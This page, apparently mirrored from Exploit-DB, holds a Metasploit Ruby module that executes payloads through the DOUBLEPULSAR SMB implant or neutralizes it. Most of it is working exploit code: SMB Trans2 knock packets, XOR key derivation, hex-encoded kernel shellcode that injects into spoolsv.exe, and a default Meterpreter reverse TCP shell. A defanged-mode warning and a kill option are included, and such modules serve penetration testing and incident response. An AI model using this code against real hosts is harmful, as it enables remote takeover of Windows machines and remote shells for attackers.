DOUBLEPULSAR – Payload Execution and Neutralization (Metasploit)

  • 作者: Metasploit
    日期: 2019-10-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47456/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    
    Rank = GreatRanking
    
    include Msf::Exploit::Remote::SMB::Client
    
    MAX_SHELLCODE_SIZE = 4096
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'DOUBLEPULSAR Payload Execution and Neutralization',
    'Description'=> %q{
    This module executes a Metasploit payload against the Equation Group's
    DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.
    
    While this module primarily performs code execution against the implant,
    the "Neutralize implant" target allows you to disable the implant.
    },
    'Author' => [
    'Equation Group', # DOUBLEPULSAR implant
    'Shadow Brokers', # Equation Group dump
    'zerosum0x0', # DOPU analysis and detection
    'Luke Jennings',# DOPU analysis and detection
    'wvu',# Metasploit module and arch detection
    'Jacob Robles'# Metasploit module and RCE help
    ],
    'References' => [
    ['MSB', 'MS17-010'],
    ['CVE', '2017-0143'],
    ['CVE', '2017-0144'],
    ['CVE', '2017-0145'],
    ['CVE', '2017-0146'],
    ['CVE', '2017-0147'],
    ['CVE', '2017-0148'],
    ['URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'],
    ['URL', 'https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/'],
    ['URL', 'https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/'],
    ['URL', 'https://github.com/countercept/doublepulsar-detection-script'],
    ['URL', 'https://github.com/countercept/doublepulsar-c2-traffic-decryptor'],
    ['URL', 'https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1']
    ],
    'DisclosureDate' => '2017-04-14',
    'License'=> MSF_LICENSE,
    'Platform' => 'win',
    'Arch' => ARCH_X64,
    'Privileged' => true,
    'Payload'=> {
    'Space'=> MAX_SHELLCODE_SIZE - kernel_shellcode_size,
    'DisableNops'=> true
    },
    'Targets'=> [
    ['Execute payload',{}],
    ['Neutralize implant', {}]
    ],
    'DefaultTarget'=> 0,
    'DefaultOptions' => {
    'EXITFUNC' => 'thread',
    'PAYLOAD'=> 'windows/x64/meterpreter/reverse_tcp'
    },
    'Notes'=> {
    'AKA'=> ['DOUBLEPULSAR'],
    'RelatedModules' => [
    'auxiliary/scanner/smb/smb_ms17_010',
    'exploit/windows/smb/ms17_010_eternalblue'
    ],
    'Stability'=> [CRASH_SAFE],
    'Reliability'=> [REPEATABLE_SESSION]
    }
    ))
    
    register_advanced_options([
    OptBool.new('DefangedMode',[true, 'Run in defanged mode', true]),
    OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])
    ])
    end
    
    OPCODES = {
    ping: 0x23,
    exec: 0xc8,
    kill: 0x77
    }
    
    STATUS_CODES = {
    not_detected: 0x00,
    success:0x10,
    invalid_params: 0x20,
    alloc_failure:0x30
    }
    
    def calculate_doublepulsar_status(m1, m2)
    STATUS_CODES.key(m2.to_i - m1.to_i)
    end
    
    # algorithm to calculate the XOR Key for DoublePulsar knocks
    def calculate_doublepulsar_xor_key(s)
    x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
    x & 0xffffffff# this line was added just to truncate to 32 bits
    end
    
    # The arch is adjacent to the XOR key in the SMB signature
    def calculate_doublepulsar_arch(s)
    s == 0 ? ARCH_X86 : ARCH_X64
    end
    
    def generate_doublepulsar_timeout(op)
    k = SecureRandom.random_bytes(4).unpack('V').first
    0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00
    end
    
    def generate_doublepulsar_param(op, body)
    case OPCODES.key(op)
    when :ping, :kill
    "\x00" * 12
    when :exec
    Rex::Text.xor([@xor_key].pack('V'), [body.length, body.length, 0].pack('V*'))
    end
    end
    
    def check
    ipc_share = "\\\\#{rhost}\\IPC$"
    
    @tree_id = do_smb_setup_tree(ipc_share)
    vprint_good("Connected to #{ipc_share} with TID = #{@tree_id}")
    vprint_status("Target OS is #{smb_peer_os}")
    
    vprint_status('Sending ping to DOUBLEPULSAR')
    code, signature1, signature2 = do_smb_doublepulsar_pkt
    msg = 'Host is likely INFECTED with DoublePulsar!'
    
    case calculate_doublepulsar_status(@multiplex_id, code)
    when :success
    @xor_key = calculate_doublepulsar_xor_key(signature1)
    @arch = calculate_doublepulsar_arch(signature2)
    
    arch_str =
    case @arch
    when ARCH_X86
    'x86 (32-bit)'
    when ARCH_X64
    'x64 (64-bit)'
    end
    
    vprint_good("#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}")
    CheckCode::Vulnerable
    when :not_detected
    vprint_error('DOUBLEPULSAR not detected or disabled')
    CheckCode::Safe
    else
    vprint_error('An unknown error occurred')
    CheckCode::Unknown
    end
    end
    
    def exploit
    if datastore['DefangedMode']
    warning = <<~EOF
    
    
    Are you SURE you want to execute code against a nation-state implant?
    You MAY contaminate forensic evidence if there is an investigation.
    
    Disable the DefangedMode option if you have authorization to proceed.
    EOF
    
    fail_with(Failure::BadConfig, warning)
    end
    
    # No ForceExploit because @tree_id and @xor_key are required
    unless check == CheckCode::Vulnerable
    fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')
    end
    
    case target.name
    when 'Execute payload'
    unless @xor_key
    fail_with(Failure::NotFound, 'XOR key not found')
    end
    
    if @arch == ARCH_X86
    fail_with(Failure::NoTarget, 'x86 is not a supported target')
    end
    
    print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")
    shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
    shellcode << Rex::Text.rand_text(MAX_SHELLCODE_SIZE - shellcode.length)
    vprint_status("Total shellcode length: #{shellcode.length} bytes")
    
    print_status("Encrypting shellcode with XOR key 0x#{@xor_key.to_s(16).upcase}")
    xor_shellcode = Rex::Text.xor([@xor_key].pack('V'), shellcode)
    
    print_status('Sending shellcode to DOUBLEPULSAR')
    code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:exec], xor_shellcode)
    when 'Neutralize implant'
    return neutralize_implant
    end
    
    case calculate_doublepulsar_status(@multiplex_id, code)
    when :success
    print_good('Payload execution successful')
    when :invalid_params
    fail_with(Failure::BadConfig, 'Invalid parameters were specified')
    when :alloc_failure
    fail_with(Failure::PayloadFailed, 'An allocation failure occurred')
    else
    fail_with(Failure::Unknown, 'An unknown error occurred')
    end
    ensure
    disconnect
    end
    
    def neutralize_implant
    print_status('Neutralizing DOUBLEPULSAR')
    code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:kill])
    
    case calculate_doublepulsar_status(@multiplex_id, code)
    when :success
    print_good('Implant neutralization successful')
    else
    fail_with(Failure::Unknown, 'An unknown error occurred')
    end
    end
    
    def do_smb_setup_tree(ipc_share)
    connect
    
    # logon as user \
    simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain'])
    
    # connect to IPC$
    simple.connect(ipc_share)
    
    # return tree
    simple.shares[ipc_share]
    end
    
    def do_smb_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)
    # make doublepulsar knock
    pkt = make_smb_trans2_doublepulsar(opcode, body)
    
    sock.put(pkt)
    bytes = sock.get_once
    
    return unless bytes
    
    # convert packet to response struct
    pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct
    pkt.from_s(bytes[4..-1])
    
    return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2']
    end
    
    def make_smb_trans2_doublepulsar(opcode, body)
    setup_count = 1
    setup_data = [0x000e].pack('v')
    
    param = generate_doublepulsar_param(opcode, body)
    data = param + body.to_s
    
    pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct
    simple.client.smb_defaults(pkt['Payload']['SMB'])
    
    base_offset = pkt.to_s.length + (setup_count * 2) - 4
    param_offset = base_offset
    data_offset = param_offset + param.length
    
    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
    pkt['Payload']['SMB'].v['Flags1'] = 0x18
    pkt['Payload']['SMB'].v['Flags2'] = 0xc007
    
    @multiplex_id = rand(0xffff)
    
    pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
    pkt['Payload']['SMB'].v['TreeID'] = @tree_id
    pkt['Payload']['SMB'].v['MultiplexID'] = @multiplex_id
    
    pkt['Payload'].v['ParamCountTotal'] = param.length
    pkt['Payload'].v['DataCountTotal'] = body.to_s.length
    pkt['Payload'].v['ParamCountMax'] = 1
    pkt['Payload'].v['DataCountMax'] = 0
    pkt['Payload'].v['ParamCount'] = param.length
    pkt['Payload'].v['ParamOffset'] = param_offset
    pkt['Payload'].v['DataCount'] = body.to_s.length
    pkt['Payload'].v['DataOffset'] = data_offset
    pkt['Payload'].v['SetupCount'] = setup_count
    pkt['Payload'].v['SetupData'] = setup_data
    pkt['Payload'].v['Timeout'] = generate_doublepulsar_timeout(opcode)
    pkt['Payload'].v['Payload'] = data
    
    pkt.to_s
    end
    
    # ring3 = user mode encoded payload
    # proc_name = process to inject APC into
    def make_kernel_user_payload(ring3, proc_name)
    sc = make_kernel_shellcode(proc_name)
    
    sc << [ring3.length].pack("S<")
    sc << ring3
    
    sc
    end
    
    def generate_process_hash(process)
    # x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
    proc_hash = 0
    process << "\x00"
    
    process.each_byte do |c|
    proc_hash= ror(proc_hash, 13)
    proc_hash += c
    end
    
    [proc_hash].pack('l<')
    end
    
    def ror(dword, bits)
    (dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF
    end
    
    def make_kernel_shellcode(proc_name)
    # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
    # Length: 780 bytes
    "\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" +
    "\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" +
    "\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" +
    "\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" +
    "\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" +
    "\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" +
    "\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" +
    "\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" +
    "\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" +
    "\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" +
    "\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" +
    "\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" +
    "\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +
    generate_process_hash(proc_name.upcase) +
    "\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" +
    "\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" +
    "\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" +
    "\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" +
    "\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" +
    "\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" +
    "\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" +
    "\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" +
    "\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" +
    "\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" +
    "\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" +
    "\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" +
    "\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" +
    "\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" +
    "\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" +
    "\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" +
    "\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" +
    "\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" +
    "\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" +
    "\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" +
    "\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" +
    "\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" +
    "\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" +
    "\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" +
    "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" +
    "\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" +
    "\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" +
    "\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" +
    "\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" +
    "\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" +
    "\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" +
    "\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" +
    "\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" +
    "\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" +
    "\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" +
    "\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"
    end
    
    def kernel_shellcode_size
    make_kernel_shellcode('').length
    end
    
    end